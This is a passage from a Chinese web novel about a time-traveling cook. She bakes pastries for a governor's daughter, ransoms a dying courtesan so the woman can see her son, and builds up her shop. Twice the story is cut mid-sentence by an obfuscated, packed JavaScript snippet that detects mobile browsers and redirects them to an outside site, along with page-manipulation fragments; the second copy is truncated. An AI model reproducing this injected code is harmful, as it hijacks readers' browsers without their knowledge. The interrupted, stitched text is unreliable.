只见那原本粘稠瘫软的乳脂混合物，竟开始缓缓地挂在木杵上，体积也肉眼可见地膨胀起来，呈现出一种类似后世打发奶油的膏状，绵密而略带光泽，虽然远不如电动打发的状态蓬松雪白，质地也略显厚重粗糙，但确确实实，是奶油！ “成了！”裴清梧心头狂喜，几乎要叫出声来。 她小心翼翼地将这来之不易的古代奶油刮到一旁干净的陶碟中，置于冰凉的井水里继续保存降温。 这第一步，算是艰难地迈出去了，虽然量少质粗，但证明了方向可行。 趁着搅打奶油后的间隙，她不敢歇息，立刻着手准备雪花酥。 “烦请取些上好的麦芽饴糖、熟糯米粉，若没有现成的呢，便取些粳米，烦劳庖厨立刻炒熟磨粉，越细越好，还有葡萄干和胡桃仁。”裴清梧迅速吩咐道。 张妈妈见她方才神技，此刻更是言听计从，立刻指挥人手去办。 她先将葡萄干和胡桃仁在干净的铜锅中微微烘烤激发香气，取出备用，又将麦芽饴糖倒入另一口小铜锅，加入极少量的水，置于小炭炉上细细熬煮。 这古代的糖色泽微黄，杂质难免，她只能反复撇去浮沫，耐心等待糖浆沸腾并达到合适的粘稠度，太稀不成型，太稠则硬脆失去雪花酥的酥软口感。 咕嘟咕嘟，糖浆开始在锅中冒着细密的气泡，散发出焦甜的香气。 裴清梧用干净的竹筷挑起一丝，放入凉水中，待其冷却后能拉出细丝且微微发脆，这便是熬好了。 她立刻将火挪开，迅速倒入烤好的葡萄干、胡桃仁，又撒入大量细密的熟糯米粉，用竹筷和木铲飞快地搅拌混合。 高温的糖浆裹挟着果仁和米粉，趁着尚软韧，她赶紧将其倒入事先撒了一层熟糯米粉的浅口方形木盘中，用擀面杖迅速擀压平整，而后拿起锋利的厨刀，趁着糖块尚未完全冷却变硬，小心翼翼地将其切成大小均匀的小方块。 滚烫的糖块边缘还有些粘软，但切口已然平滑，最后，将每一块雪花酥在盛满熟糯米粉的木盆里滚上一滚，均匀地沾上一层雪白的外衣。 古代版的雪花酥出炉了！ 浅金色的糖块包裹着紫玉般的葡萄干和金黄的胡桃仁碎，外面再裹上一层细细的雪粉，虽不及后世机器切割的整齐划一，颗粒感也略粗，但那份混合了坚果香、果干甜和米香的独特气息，已足够诱人。 裴清梧拈起一块尝了尝，酥软香甜，麦芽饴糖特有的风味浓郁，虽有细微杂质带来的砂砾感，但在这个时代，已是难得的精致点心。 她满意地舒了口气，将成品小心地码放在垫了干净桑皮纸的漆盘中。 接下来，便是最关键的挑战蛋糕胚，没有低筋面粉，没有泡打粉，没有精准控温的烤箱……一切近乎不可能。 但是，事在人为。 她取来府中上好的精白小麦粉，力求最细腻的质地，又取来十数枚新鲜的鸡蛋，仔细分离蛋清蛋黄，蛋黄中加入少许她刚提炼出的粗制奶油和一点点蜂蜜，用力搅打至颜色微微发白粘稠。 蛋清则被她放入另一个深腹陶钵，加入一小撮盐以代替塔塔粉稳定蛋白，再次拿起沉重的木杵，开始疯狂地搅打。 这一次的搅打，比打发奶油更为艰难漫长。 蛋清先是变成粗泡，继而变成细密的泡沫，体积膨胀了两三倍，打得裴清梧的手臂酸痛欲裂，全靠意志支撑。 她不停地变换搅打方向和速度，终于在手臂彻底僵硬前，看到蛋清变成了类似后世湿性发泡的状态——提起木杵，能拉出弯弯的尖角。 顾不上高兴，她立刻将三分之一打发的蛋清舀入蛋黄糊中，用木铲快速轻柔地翻拌均匀，再将其倒回剩下的蛋白霜中，继续小心翼翼地翻拌融合。 最后，筛入准备好的面粉，同样轻柔快速地翻拌至无明显干粉。 整个过程她动作迅捷如风，生怕好不容易打发的蛋白消泡。 拌好的面糊呈现淡淡的鹅黄色，质地轻盈蓬松，已然成功了一半。 此时，她构思的烤炉尚未成型，只能用现有的胡饼炉试试。 便让庖丁在炉火相对均匀的位置清理出一块地方，将一个厚实带盖的圆形陶制深钵底部抹上一层薄薄的胡麻油，倒入面糊，盖上盖子。 “火候要稳！不可过大，需文火慢烘！”裴清梧紧张地盯着炉口，不断叮嘱控火的庖丁。 那庖丁经验丰富，小心地调整着柴火的位置和进风量。 时间一分一秒过去，库房内弥漫着奇异的甜香，裴清梧的心悬到了嗓子眼，估算着约莫半个时辰后示意庖丁小心地将陶钵取出。 揭开盖子的瞬间，一股浓郁的蛋奶甜香喷涌而出。 只见钵中，一个表面呈浅金黄色的圆形物体膨胀起来，虽然顶部因蒸汽冷凝有些塌陷，并非完美圆顶，但整体看起来，竟真的有点像蛋糕胚。 她用筷子小心地戳入中心，抽出时没有湿面糊带出，只有些许碎屑，便是烤熟了。 她欣喜若狂，小心翼翼地将这珍贵的蛋糕胚倒扣在竹屉上晾凉，虽然质地不如现代蛋糕细腻，带着些微韧性和粗颗粒感，高度也只有寸许，但这已经够了。 而后便是组装。 裴清梧将冷却的蛋糕胚横切成两片，第一片上，均匀地涂抹上她之前辛苦打发的、质地粗犷却奶香十足的奶油，再盖上另一片蛋糕胚，而后，将剩下的所有奶油都涂抹在整个糕体的表面和侧面，用木片尽量抹平。 没有裱花袋，她就用洗净的细布缝了个简易的锥形袋，装入奶油，在蛋糕顶部尝试挤了几朵小小的、歪歪扭扭的“花”作为装饰。 最后，撒上几粒晶莹如红宝石的石榴籽点缀。 一个粗糙矮胖，裱花歪斜，却散发着诱人蛋奶甜香的奶油蛋糕成了。 它可能不够美观，甚至口感也远逊后世，但它是跨越千年的技艺碰撞出的火花。 看着眼前的雪花酥和奶油蛋糕，裴清梧长长地吁了口气，巨大的疲惫和成就感同时涌上心头。 为了保险起见，她又着手准备第三道点心，和龙须酥鲜花饼一样，此时尚未出现，但已有足够条件制作的精致非遗中式点心荷花酥。 取来细腻的猪板油，细细熬炼成雪白的凝脂，又将精白面粉分成两份：一份加入冷水揉成水油面团，一份加入冷却的熟猪油揉成油酥面团。 水面团包裹住油酥团，反复擀开，折叠数次后，小心翼翼地制成层次分明的酥皮。 馅料则选用府中上好的红豆沙，加入少许桂花蜜和一点她提炼的杏仁油增香，揉搓成小圆球。 再将酥皮擀开，包入豆沙馅，收口朝下，塑成一个圆球，后用一把极其锋利的薄刃小刀，在圆球顶部小心翼翼地划出均匀的六个花瓣，花心处点上一点金黄色的蛋黄液。 “准备一锅洁净的胡麻油，烧至五成热。”裴清梧指挥道。 锅中油温合适后，她将捏好的生坯轻轻放入。 神奇的一幕发生了：酥皮在热油中迅速膨胀分层，那六片刀口处缓缓绽开，如同水中盛开的洁白荷花，花瓣层层分明，酥松轻盈，花心中的豆沙馅隐约可见，如同嫩黄的花蕊。 待炸至通体金黄，花瓣完全舒展定型，便迅速捞出控油。 三样点心，静置于案上，雪花酥：裹着雪粉，内藏珍宝，朴拙香甜；奶油蛋糕矮胖敦实，蛋香奶香交织；荷花酥形如出水芙蕖，酥皮薄如蝉翼，层层绽放，内馅甜润。 裴清梧来不及好好欣赏，便将这些点心仔细摆放在精致的漆盘里，对张妈妈道：“烦请妈妈带路，清梧想请赵娘子品鉴一二。” 张妈妈早已看得眼花缭乱，尤其是那会开花的酥点，更是闻所未闻，连忙应声：“东家好巧思！我这就引您过去，我家娘子见了，定会欢喜！” 赵娘子的闺阁照霞居在庭院更深处，一路弯弯绕绕，不见几个小厮了，多是侍女往来，也都个个穿的体面富贵。 真的身临其境，裴清梧才明白，为何当初刘姥姥进贾府，会把平儿认成王熙凤了。 张妈妈只把她领到照霞居大门口，而后便是见过的素秋出来，带着裴清梧进去。 赵使君应当极疼爱这女儿，院子里花木扶疏，好些裴清梧压根叫不上名的品种，房内更不必说。 甫一踏入，一股清雅暖香扑面而来，正中铺设一张宽大的紫檀木坐榻，铺着繁复团花纹的锦缎软垫与隐囊，榻前置一方精巧的螺钿镶嵌矮足案几，靠墙立着数扇高大的花鸟双面绣紫檀木屏风，将空间巧妙分隔，侧旁的多宝阁上错落陈列着玉山子、秘色瓷瓶、金银平脱妆奁以及一匹神采飞扬的唐三彩马。 壁上悬着工笔精妙的仕女花鸟图卷，窗下矮几置一尊金猊兽首熏香炉，袅袅青烟自兽口逸出，茜红与鹅黄的轻纱帷幔自梁上垂下，随风微动，地上铺设着西域进贡的团花织毯，踩上去柔软无声。 赵娘子正坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230894|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗前，临摹着什么东西，听闻素秋禀报，才抬起头来：“点心做好了？拿过来我看看。” 素秋捧着食盒递过去，又将盖子掀开，赵娘子歪头打量了好一会儿，面露笑容：“真精巧新奇呢，我真没见过这样的点心。” “那，还请娘子尝尝，可还能入口吗？”裴清梧笑道。 素秋将那雪花酥切下来一小块，赵娘子拿小银叉子叉了，放进嘴里细细品尝，倏尔眼睛一亮：“妙！香甜绵软至极，还是第一次吃到。” 她又尝过蛋糕与荷花酥，亦是赞不绝口：“那，宴席上的点心，就拜托东家了，除这三样以外，烦请东家再做些旁的，每样各二十份，三日后送来。” 说罢，她便朝素秋使了个眼色。 素秋会意，又取了十两银子递给裴清梧：“这些银子，是我们娘子请东家喝茶的。” 不愧是封疆大吏的女儿，随便出手，就是现代小城市里一套房的首付。 裴清梧内心泪流满面，好容易才稳住心神接过：“奴家谢过娘子。” 刚一回到家中，裴清梧就兴奋地把顾恒拉到一边，给他看荷包里的银子：“看，银子啊！白花花的银子！赵娘子可真是人美心善，我活这么大，第一次看见这么多银子！” “发财了，阿恒，你老板我发财了！” 顾恒却并不似她这般激动，只盯着那些银钱，嘴唇动了动，似乎是想说些什么，但不知如何开口。 裴清梧没发现他的异常，冷静下来之后，开始盘算做点心的成本。 做这些都是体力活，短短三日，她一个人似乎有些应付不来，顾恒是个男人，饭都不太会做，更别提点心了。 看来，她也得迈向万恶的封建主义，去买个人回来帮厨了。 天色还早，离宵禁还有段时间，够她去一趟了。 “阿恒，你看好门，我去口马行①一趟。”说着，裴清梧就要去取自己的披风来。 不料，顾恒却像下定了什么决心似的，上前一步，扑通一声，跪在地上，声音略嘶哑：“东家去口马行，是要买人回来么？” 裴清梧被他这举动吓了一大跳，慌忙俯身去拉他起来：“快起来，你这是做什么？怎么忽然就下跪了……妈呀，这是夭寿啊……” 顾恒却死活不起，只红着一双眼，他本就生得好看，此刻，更像是一只易碎的瓷器，摇摇欲坠的边缘：“东家那日救了我，是菩萨心肠，如今是我唐突了，可……” 说着，他深吸一口气，重重地叩首：“我虽脱离苦海，可我阿娘还在醉月楼，东家既要买人，顾恒恳求，东家可否将我阿娘赎出来……” 裴清梧一愣。 “她今岁也不过三十有五，正是壮年的时候，她会绣花会写字会点茶，做点心她也可以学，只求东家能赎她出来，给她一口饭吃就好。” 说着，孩子的额头实诚地砸在地上，砰砰作响。 “哎哎哎，快起来快起来。”裴清梧忙道。 青楼女子，都是可怜之人，同为女性，当然是能帮则帮，正巧她这酥山小集十分缺人手，只是…… “你阿娘有名吗？我手里就二十两银子，还有一些铜钱，若是有名的花魁，我只怕没有余力……” 顾恒苦笑：“东家放心，我阿娘年轻时虽有名，如今年岁大了，不好看了，再加上生过我，总有客人嫌弃，想来，妈妈应当是巴不得有人去赎她，且……” “阿娘跟过那么多有钱的客人，早就为自己存了不少钱财，青楼里很多姐姐都是，完全可为自己赎身，只风尘女子总得为自己寻个去处，这才耽搁了。” 裴清梧想了想，咬咬牙道：“好，我试试。” 大不了，跟老鸨砍砍价。 天色将晚，大市坊西南曲巷便成了男人们寻欢作乐之地，各花楼们次第亮起灯，衣着光鲜亮丽的女子们站在门前娇笑着揽客，空气中仿佛都是腻腻的脂粉香气。 裴清梧做贼一样，偷偷从小道溜到了醉月楼前。 她不歧视青楼女子，但她一个良家女，光明正大地出现在这里，对名声总归是不好的。 接待她的，是个和她年纪差不多的小娘子，梳着双垂髻，簪了支鎏银蝴蝶簪，桃红襦裙外罩着半透的薄纱披帛，鹅蛋脸上描着时兴的斜红妆，杏眼流波间带着几分妩媚笑意，臂间松垮系着的柳绿披帛随风轻晃，露出腕上两枚绞丝银镯，裙角暗绣的缠枝莲随步浮动，似有暗香浮动。 “小娘子来醉月楼何事？若是有磨镜之好②，奴家愿作陪，若是来寻夫郎，还请不要大作周章，醉月楼女子都是苦命人，同为女郎，何苦相互为难呢。” 裴清梧尴尬一笑：“我，我问问一个人，叫桂枝的花魁……” 那小娘子眼中流露出一抹哀伤：“你找桂枝姐姐？可她……她伤重难治，说是，就在这几日了……” 7. 求得墨宝 裴清梧被带到桂枝的房间时，整个人都呆了。 其实桂枝今年才三十五，在现代，算是风华正茂的年纪，保养的好一些，还是令无数人嘶哈嘶哈凑上前的大姐姐，可她是在古代，还是一个饱经折磨的花魁，是以面色苍白，一脸疲态，望之竟如五十许人，只在眉目间，隐隐约约看出一些曾经的美貌。 青楼的老鸨只看姑娘们挣不挣钱，如今桂枝没了利用价值，自然扔在一边不管，任其自生自灭，床边一个十三左右的小丫头一边抹着泪，一边喂她药喝。 可是，她已经什么都咽不下去了，只睁着一双眼，空空地望向门口，似乎在等什么人。 “桂枝姐姐，你好歹喝一口吧，这几位姐姐凑钱买的，郎中说，喝了就会好。”小丫头哭着哀求道，桂枝却充耳不闻，甚至微微偏过头，避开那碗。 领裴清梧进来的那小娘子——来的路上已知道名茜桃，上前一步，忧心道：“桂枝姐姐还是没好么？” “没有，喂不进去药，水也喂不进去……” “这可怎么办才好，方才我偷听妈妈说，若再不好，就要像年前……”茜桃说着，面色倏尔一变，似乎是想到了什么极可怕的事情，声音渐渐低了下去，几不可闻。 裴清梧嘴唇蠕动了几下，她本科时闲来无事，找了讲述解放后改造青楼女子的老电影《姐姐妹妹站起来》来看，其中情节，有个女孩子不中用了，老鸨叫人把她抬出去，装进棺材里，还喘气的时候，就将她钉死在里边，一度成为她的心理阴影。 只怕茜桃看到的，会更可怖。 她走近桂枝的床边，握住了一只枯瘦如柴的手，低声道：“你还睁着眼睛，莫不是在念叨着你的儿子？” 闻言，桂枝原本已经晦暗的眼睛，又闪了一瞬的光。 “我赎你走，带你去见他。” 裴清梧虽不会医，但也能看出，眼前这妇人已是油尽灯枯，只凭着对儿子的牵挂，吊着最后一口气，买她回去好像是亏了，但若能让一个母亲，再见孩子最后一面，清清白白地离开这人世，是积善积德之举。 “茜桃，带我去见鸨母，我要给桂枝赎身。” 茜桃惊愕地瞪大了眼睛，看看裴清梧，又看看形销骨立的桂枝，嘴唇动了动，最终化为还是应了：“好，娘子随我来。” 醉月楼的主事鸨母正在前厅拨弄着算盘珠子，见到茜桃领着个面生的小娘子过来，也只随意地抬了抬眼皮。 “妈妈……”茜桃怯生生地开口：“这位娘子想、想为桂枝姐姐赎身。” “桂枝？”鸨母嗤笑一声，放下算盘，上下打量着裴清梧：“那个药罐子？小娘子，不是我说，她如今也就是一口气吊着了，买回去没两天就得办丧事，晦气得很呐。” 这话语刻薄而冷漠，仿佛谈论的不是一个即将在这里耗尽一生的活人。 裴清梧强忍着心底的厌恶：“正因为如此，我想给她一个清净去处……开个价吧。” 鸨母眼珠转了转，桂枝早已不能接客，留在楼里也只是白费米粮药材，还得占个地方。有人愿意接手这个烫手山芋，简直是意外之喜，便伸出五根手指：“五贯钱，她那卖身契，拿走便是。” 裴清梧没有还价，直接从随身带的荷包里取出五贯通宝，放在鸨母面前的案几上。 鸨母脸上立刻堆起假笑，迅速从柜子里翻找出一张泛黄的契纸，看也不看便塞到裴清梧手中：“娘子真是心善人，拿好拿好，人你随时带走。” 裴清梧接过那轻飘飘的卖身契，只觉得上面浸透了桂枝的血泪。 她不再看鸨母那张令人作呕的脸，转身对茜桃道：“麻烦茜桃娘子，帮我雇一辆稳当的马车或软轿，再找两个稳妥的帮工，帮我把桂枝抬回去。” 她多付了些钱，茜桃立刻应承着去办。 不多时，一辆朴素的马车停在醉月楼后门，茜桃和两个雇来的粗壮妇人，小心翼翼地将气息微弱的桂枝裹在薄被里，抬上了车。 桂枝似乎感觉到了什么，那双空洞的眼睛微微转动了一下，望向裴清梧的方向。 马车辘辘，驶离了醉月楼那片令人窒息的脂粉之地，朝着酥山小集行去。 到了酥山小集门口，裴清梧先下车吩咐伙计帮忙安置，一直等候在店里的顾恒，听闻母亲的消息，早已按捺不住，快步冲了出来。 “东家，我阿娘她……”顾恒的声音在看到被抬下车的那个枯槁身影时戛然而止，整个人如同被雷击中，瞬间僵在原地，脸上的血色褪得一干二净。 那真的，是他的母亲桂枝吗？ 记忆中那个美的不可方物的阿娘，如今只剩下一把枯骨，脸色灰败如纸，眼窝深陷，头发枯槁。 才多久未见？竟被折磨得不成人形！ 悲痛和愤怒如无形的大手般攫住了他，让他喉咙发紧，一个字也说不出来，只有身体在微微颤抖。 “阿恒，我把你阿娘接回来了。她一直在等你。” 桂枝似乎听到了熟悉的声音，一片死寂浑浊的眼睛费力地转动，终于聚焦在顾恒年轻的脸上。 “恒、恒儿……”微弱的声音，像随时会断的游丝。 “阿娘！是我！是恒儿！”顾恒猛地扑到担架旁，双膝跪地，颤抖着握住了母亲那只枯瘦冰冷的手，眼泪如决堤一般：“孩儿不孝……孩儿来晚了……” 桂枝的嘴唇艰难地翕动着，似乎有无尽的话想说，但力气已不足以支撑。 她贪婪地望着儿子的脸，眼中积蓄起微弱的水光，用尽最后一丝力气，气若游丝地吐出两个字，仿佛是她藏了一生的秘密：“顾……皎……” 这是她的本名，不是那个属于醉月楼的桂枝，而是爷娘给她的，属于她自己的名字。 她想清清白白地，以“顾皎”的身份，在儿子怀中走完最后一程。 说完这两个字，她像是耗尽了生命最后的一点烛火，紧绷的心弦骤然松开，一直强撑着的那口气，终于断了，曾经饱含忧惧与期盼的眼睛，缓缓阖上，再无生息。 “阿娘——！”撕心裂肺的悲嚎响彻小院。 顾恒紧紧抱着母亲尚有余温却已失去生机的身体，埋首恸哭，仿佛要将所有的委屈、自责和无尽的悲痛都哭喊出来。 天空阴沉，仿佛也在为这位饱经苦难的女子垂泪。 裴清梧站在一旁，默默地看着这一切，心中酸楚难言，她没有说话，只是安静地陪着这对经历了太多磨难的母子。 夜间，顾皎停灵在院子里，顾恒默默地陪在他身边，仿佛被抽走了所有的精气神似的，世间任何风雨，都拂不动一丝。 已是秋末，院里的梧桐叶已落了大半，残留的几片在萧瑟的秋风中打着旋儿。 裴清梧看着他单薄的背影，深知此刻言语苍白，只走进厨房，取来小半碗雪白稻米，细细淘洗干净，又选了两枚饱满圆润的黄杏干，用温水泡软，切成了小丁。 灶膛里添了新柴，火苗噼啪作响，舔舐着锅底，锅中注入清水，待水沸滚，便将淘好的米粒缓缓倾入。 米粒在沸水中沉浮、舒展，渐渐释放出浓郁的米香，然后用长柄木勺缓缓搅动，防止粘锅，看着米汤由清澈变得浓稠。 待米粒开花，粥体绵软，就将切好的杏干丁撒入锅中。 金黄的杏丁在乳白的米粥中翻滚，如同秋日最后温暖的阳光融入其中。 接着，她取来一小块珍贵的饧糖，用刀背仔细敲下些许碎末，投入粥中，最后从角落的陶罐里拈了一小撮晒干的桂花，撒进粥里的瞬间，将那朴素的白粥点染得生机盎然。 浓郁的桂花香气混合着米香、杏干的酸甜果香，在小小的厨房里氤氲开来，温柔地驱散着秋末的寒意。 裴清梧捧着小砂锅，走到顾恒身边，将粥轻轻放在他身边。 “阿恒，”她的声音比平时更柔和几分：“秋深了，天寒，喝点热粥吧……加了杏脯和桂花，甜甜暖暖的，吃了身子会舒服些。” 那碗粥散发的温暖热气扑在顾恒冰冷的脸上，心头仿佛被这股暖流轻轻触动了一下，喉头哽咽。 到底还是颤抖着拿起勺子，舀起一小口，小心翼翼地吹了吹热气，送入口中。 温热的米粥瞬间包裹了舌尖与口腔，稠滑绵密，杏干丁软糯酸甜，桂花香沁人心脾…… 眼泪毫无预兆地再次滚落，大颗大颗地滴入粥碗里。 顾恒低着头，一勺接一勺，沉默地吞咽着，随着滚烫的粥顺着喉咙滑下，被悲痛冻僵的四肢百骸，似乎终于感受到了一丝微弱的复苏。 裴清梧坐在一旁，没有打扰他，只是静静地守着。 秋风呜咽，炭火微红，少年无声流泪，吞咽着暖粥。 待顾恒吃完，裴清梧预备去收拾的时候，他突然毫无征兆地抬头，唤了她一声：“阿姐。” 悲伤揭过，日子该过，还得过。 尤其赵娘子的订单迫在眉睫，裴清梧不得不推掉了其他人的单子，一边又一边地锤打奶皮、搅打蛋清，一时，院中只闻叮叮当当之声。 自母亲逝世，顾恒更加沉默，只埋头苦干着属于自己的杂活，时不时，他会上前为裴清梧递上擦汗的帕子，或者盛着清水的杯子。 终于，第二日傍晚，裴清梧着实受不住了，还是上口马行买了个侍女。 侍女本姓何，原本的主家是当亭县令，因犯了事被抄家，仆从皆被发卖，侍奉那家时，被取名叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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席间言笑晏晏时，一位气质温婉的娘子轻声道：“裴小娘子的手艺真是精绝，不知小娘子可愿屈就？我父秦州别驾，姨娘的兄弟在城中经营太白楼，正缺这般巧匠掌勺。” 她姨娘出身商贾，故言语间对经商之事少了些避讳。 裴清梧闻言，轻轻摇头：“多谢李娘子美意，只是小女子已在安业坊开了铺面，赖街坊邻里帮衬，尚能糊口。” 婉拒的话出口，一个念头却如电光石火般闪过她脑海。 说干就干，裴清梧面上浮起诚恳笑意，话锋巧妙一转：“不过，奴家倒有个不情之请，小店新张，欲备些上好物料，若诸位娘子不弃官身，能略添些脂粉钱入股小店，按年分红，奴家定当竭尽全力，不负所托……虽事涉商利，然只作私下添补，挂名即可，银钱往来亦由奴家打理清爽。” 此言一出，席间几位娘子先是微愕，随即眼神亮了起来。 商户虽贱，但城中贵女主母，谁名下没几个铺子？且瞒着家中长辈，用体己钱私下挂个名，每年坐等分红，既新奇有趣，又能添一笔不小的私房收入，何乐而不为？ 赵娘子率先笑着应允：“这倒是个新鲜主意，我出二十两银。” 有人领头，其余几位娘子，包括那位李六娘子在内，也纷纷应和，当场便议定了数额，一笔可观的前期资金就此落定。 宴席尽欢而散，裴清梧正欲告退，却被赵刺史身边的长随唤住：“裴东家留步，使君书房有请。” 裴清梧心头微动，整理衣襟，随长随步入肃穆的书房。 赵刺史珏身着常服，端坐案后，目光沉静地打量着她。 他对此女确有印象，前番状告前夫家种种，条理清晰，不卑不亢，今日，又让自家女儿在闺中好友面前大大长了脸面。 “东家的点心甚佳，小女与她那些手帕交赞不绝口。”赵珏开门见山，语气比之前对簿公堂时温和许多：“你办事妥帖，心思也巧，说说，想要何赏赐？” 裴清梧闻言，深深一福：“使君明鉴，奴家确有两事相求……其一，奴家店中护卫顾恒，其母顾皎，原为醉月楼花魁，如今已病故，顾恒本性纯良，勤恳踏实，恳请使君开恩，为其脱去贱籍，使其得以堂堂正正做人。” 赵珏捋须沉吟片刻，一个微不足道的少年脱籍，对他不过举手之劳，何况其母新丧，也算善事，颔首道：“念其母可怜，他又随你安分营生，准了，那第二件事呢？” 裴清梧心中一喜，连忙道：“其二，恳请使君赐墨宝一副，为小店题写匾额‘酥山小集’四字，小店得使君墨宝庇佑，自是蓬荜生辉，亦是奴家安身立命之依凭。” 赵珏闻言，脸上露出一丝笑意。 这请求既不过分，又显得颇有分寸，还给了自己一个施恩示好的机会。 倒是个伶俐丫头…… 他心中暗赞，随即朗声道：“笔墨伺候！” 长随迅速铺开上好宣纸，研浓香墨，赵刺史提笔蘸墨，凝神静气，笔走龙蛇，“酥山小集”四个遒劲有力的大字跃然纸上，气势端凝，尽显雍容气度。 “多谢使君恩典！”裴清梧郑重叩谢，双手接过这沉甸甸的墨宝，心中一块大石落地。 8. 桃之夭夭 在赵使君那里求的墨宝，拿去装裱了一下，挂在小店门口，再加上那些官家娘子的入股，酥山小集的生意一日好过一日。 西北的秋季极为短暂，倏尔一眨眼便过去了，再醒来时，地上积了薄薄的一层雪，风也忽然凛冽了起来，摇晃着树枝上最后的几片枯叶，无情地撕扯了它们。 从店门口而过的行人们，也都换上了冬日的棉袄，双手缩进袖子里，极力地抵御着彻骨的寒意。 天儿一冷，人也犯懒。 裴清梧今日便没开张，厚厚的木板并未拆下来，数了数攒下的钱财后，打发顾恒去扛了半只羊回来。 冬天，就该围着火炉吃羊肉啊。 秦州在陇右郡，离关外的游牧民族极近，虽说官方未通互市，可私底下的交易也不少，今日顾恒扛回来的，便是商贩从牧民那里换回来的滩羊，比之中原用谷物饲养出来的羊，肉质更为劲道耐嚼。 灶膛内薪柴毕剥，片好的羊肉纹理如初雪映霞，莹润透光，滩羊无甚膻味，不需过多处理，只取干净的井水来，随便煮一煮，汤色便清亮如夏日的玉泉水，佐料只用八角和葱花，再多，便是画蛇添足了。 银岚一早就烙好了大饼，掰开泡在羊汤里头，吸饱了汤汁之后，味道更为曼妙。 一时胃口大开，裴清梧和银岚各喝了两大碗，顾恒自不必说，正是半大小子吃穷老子的年纪，埋头只知道喝。 不论什么时候，只要吃饱了肚子，人的日子，就觉得有盼头了。 “阿恒，把碗筷收拾一下……” 裴清梧倚在榻上，懒懒地打了个哈欠，吃饱喝足，她有些困乏了。 屋子里炭盆烧得极旺，炉灶上煨着鲜香的羊汤，蒸屉里蒸着明日早饭吃的大白馒头，地窖里囤满了新鲜蔬菜，荷包里的钱也鼓鼓囊囊的，银岚新绣的披风悬在炉火边烘烤，待烘得暖和了，明日出门穿上，不知道多舒服。 这样的日子，可真是安心啊。 顾恒正扒拉着最后一口羊汤，汤煨得久了，便骨酥肉烂，入口即化为绕舌甘鲜，听闻裴清梧吩咐，“嗯”了一声，起身去收拾她和银岚吃过的碗筷。 在裴清梧这里，他能吃饱，刚来时瘦削的脸颊圆润了不少，个头都似乎见长了，衣袖被挽起半截，露出白皙的小手臂，动作时青筋盘旋，说不出的好看。 “对了，阿恒，你生辰，在什么时候？”裴清梧突然想到了这个问题。 顾恒动作顿了顿：“阿娘提过，似乎是正月初二十。” “好日子啊。”裴清梧支着脸：“翻过年，你也快十六了。” “嗯……”顾恒不明所以。 “知道你今年热孝在身，有什么事，都不好庆祝，不过生辰不一样，要不，到那一天，我跟银岚给你过一过？” 过生辰么？ 顾恒好像从来没有这样的概念，他的出身太尴尬了，鸨母嫌弃他的存在耽搁了阿娘接客，阿娘也只能忙着应付那些男人，是以他从来不觉得这是什么特殊的日子。 “就不麻烦东家了……” “麻烦？怎会麻烦？如果没有你，我这么一个孤身女子开店，不知道要应付多少事情，说不定早就被逼着关门了。”裴清梧笑道：“何况，摆一顿饭的事，你东家我最擅长的就是做饭。” “还有我呢。”那边正在为裴清梧熨烫衣服的银岚也抬头笑：“小阿恒，到时候我给你做完长寿面吃，买只农人养的老母鸡煨了汤底，再丢些菌菇进去，别提多鲜美了。” 知道推辞不过，顾恒轻轻“嗯”了一声，背过身去，似乎是抬手擦了擦脸。 “我睡一会儿……半个时辰后叫我，马上过年了订点心的人多……”裴清梧这样嘟囔着，伏在榻上沉沉睡去。 顾恒洗净了碗筷，放回了橱柜里，出来便见裴清梧这样趴着，微微蹙了蹙眉，取了一边的毯子来，轻手轻脚地给她盖上。 确实如她所说，临近过年，订点心的人倏尔多了起来，都知道这酥山小集的点心新奇又好吃，掌柜的还是个年轻小娘子，做的东西干净，刺史千金都说好的，裴清梧连着几日都在赶订单，眼下累出了乌青来，原本清丽的芙蓉面也显出一丝疲态。 他太过小心，反而不慎碰到了炕桌，发出的动静，让银岚都抬首望了过来，可裴清梧依旧没醒。 “东家是太累了。”银岚叹道：“一会儿还要起来，继续做点心，等我炖些枸杞红枣排骨汤，最补气血了，小阿恒你也喝上些。” 顾恒应了一声，盯着在裴清梧脸上跳跃的烛火发愣。 他在青楼楚馆长大，自小见多了美人，艳若桃李的，清如芙蓉的，娇憨如三春桃花，孤冷如冬日腊梅，但裴清梧落在他眼里，好像一时不知如何形容。 救他的那一日，如同麦积山石窟里那些悲天悯人的佛像，后来在俗世烟火中，又觉她宛如一株柳树，俏丽亭亭，却自成一片树荫，为他，也为她自己撑着个小小的天地。 如今这烛光一勾勒，更觉她睫羽与鼻梁投下的阴影好看至极，是世上最小的林荫。 不知看了多久，只知银岚过来推她：“东家，时辰到了，还有好些点心没做呢……” 她睡得太香，只是动了动嘴唇，没抹胭脂膏子，也红得眼里，如水洗过的樱桃一般，艳丽可爱，顾恒心头一跳，错开眼去。 “东家？东家！” 银岚又推了两下，裴清梧才悠悠醒转。 “什么时辰了已经？”她揉了揉眼发问，声音带着贪睡后的慵懒。 “戌时了。”银岚答着，眼中闪过一丝心疼：“不然，明日再做吧，这几日也真是苦了东家。” 她今年二十有二，在她眼中，不论是裴清梧，还是顾恒，都是小她很多的弟弟妹妹。 “早做完，早省心。” 裴清梧起身往厨房走，边系围裙，边看订单，这会儿该做秦州司马府上预定的金粟千层旋，即经过她改良后的常州大麻糕。 说是糕，却更多像是烘烤的饼，将面团揉到光滑绵软，分成等份的小剂子，擀开后包入胡麻炒制的馅料。 炉膛里的炭火正旺，发出“噼啪”的声响，将陶鏊子炙得滚烫，生胚贴上去，饼面鼓起细密的小泡，空气中渐渐弥漫开面粉与胡麻经火焙烤后特有的焦香。 边缘酥脆卷翘，酥皮层次分明，密布的胡麻受热爆裂，浓郁的熟面焦香与胡麻特有的油脂香气愈发醇厚。 